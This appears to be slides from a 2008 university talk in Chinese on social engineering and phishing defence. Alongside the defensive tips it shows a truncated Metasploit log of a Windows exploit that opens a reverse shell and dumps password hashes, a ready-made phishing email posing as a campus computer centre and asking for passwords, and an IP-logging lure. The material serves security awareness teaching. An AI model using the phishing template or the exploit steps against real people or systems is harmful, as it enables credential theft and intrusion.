



社交工程與防護

SOCIAL ENGINEERING

9/16 RK87 @ NSC

What is Social Engineering

- 利用人的弱點（本能反應、好奇心、信任、貪便宜），進行欺騙、傷害、獲得利益的手段。
- 不一定要使用工具，簡單的可以從人與人的溝通中向對方套話、問出密碼、信用卡號碼等。

Network phishing

- Email

- 要求回覆帳號密碼
- 免費、送VIP、有好康 (link)
- 拍賣結標
- 巨額獎金

- Web

- 假的登入頁面 (類似的 url)
 - Paypal, eBay 交易/拍賣系統
 - Y! 拍賣
- 被掛木馬 (Trojan horse)

Other Phishing

- Phone Phishing
- Malware
 - USB, CD, DVD
 - Virus & Worms
 - Trojan Horse
 - Rootkits
 - Backdoors

```
msf exploit(windows/dcerp
[*] Started reverse handl
[*] Trying target Windows
[*] Binding to 4d9f4ab8-7
[*] Bound to 4d9f4ab8-7d1
[*] sending exploit ...
[*] Sending stage (2834 b
[*] Sleeping before handl
[*] Uploading DLL (73739
[*] Upload completed.
[*] Meterpreter session 1
```

```
Loading extension stdapi.
meterpreter > use priv
Loading extension priv...
meterpreter > hashdump
Administrator:500:
```

防護

- 不任意打開不明郵件、附件、顯示圖示
- 確定URL(多數含SSL加密機制), 才輸入帳號
- 使用新版的瀏覽器, 會自動提示、警告不要瀏覽不安全網頁(含惡意程式)

確認URL有https (SSL機制)



https://login.yahoo.com/config/login?.intl=tw&.pd=c%3d7pP3Kh2p2e4XklnZWWfDLAC8w--&.done=https://tw.l



服務說明 | Yahoo!奇摩

Yahoo!奇摩安全憑證
保護帳號安全

立即免費啟用

防護更全面正確

透過安全憑證設定，幫你的電腦設定名稱及通行密碼，立刻為您重要的拍賣及會員資料加一道防線。

設定更方便

輕鬆三步驟：登入設定頁>>設定電腦代號及通行密碼>>設定完成

還沒有Yahoo!奇摩帳號?

註冊帳號免費又容易

立即註冊

已經有Yahoo!奇摩帳號?

登入



如何保護帳號?

立刻開啓安全圖章 (說明)

帳號:





(範例: free2rhyme@yahoo.com)

密碼:

社交工程實驗

- 騙取帳號的信都是長長的英文，懶的看！
 - 改中文的好像不錯...
- 無名相簿正夯
 - VIP大放送好像也不錯...

Email Phishing

日期: Mon, 29 Dec 2008 14:00:59 +0800 (CST) 
寄件者: "計算機中心" <center.nsc@gmail.com>   
回給: center.nsc@gmail.com
收件者: postmaster@hero1.ccu.edu.tw
主旨: 緊急通知: 系統錯誤，請回報！

各位同仁您好，

由於在更新設備時發生系統錯誤，可能影響您的帳號無法登入信箱、無法寄信/收信，

為了確保您不受影響，我們將進行資料核對，請回信告知

帳號： @ccu.edu.tw

密碼： (若需更改，請填寫！)

我們會盡快處理此問題。

Regards,
System Administrator
adm@ccu.edu.tw

Email Phishing

☆ from ● **計算機中心** <center.nsc@gmail.com> [hide details](#) 12/29/08 Reply

to postmaster@hero1.ccu.edu.tw

date Mon, Dec 29, 2008 at 1:54 PM

subject 緊急通知: 系統錯誤, 請回報!

mailed-by project.dorm.ccu.edu.tw

- Hide quoted text -

各位同仁您好,

由於在更新設備時發生系統錯誤, 可能影響您的帳號無法登入信箱、無法寄信/收信,

為了確保您不受影響, 我們將進行資料核對, 請回信告知

帳號: [@ccu.edu.tw](#)

密碼: (若需更改, 請填寫!)

我們會盡快處理此問題。

Regards,
System Adminsitrator
[adm@ccu.edu.tw](#)

Wretch 免費VIP

- [免費VIP帳號，任逛美美相簿] (link)
- 打開Email -> 記錄IP
- 點連接 -> 記錄IP -> 重導向到無名



Q & A

A vertical bar on the left side of the slide, consisting of a white section at the top with a barcode-like pattern, and a blue section at the bottom with four colored segments: pink, grey, yellow, and pink.

Thanks You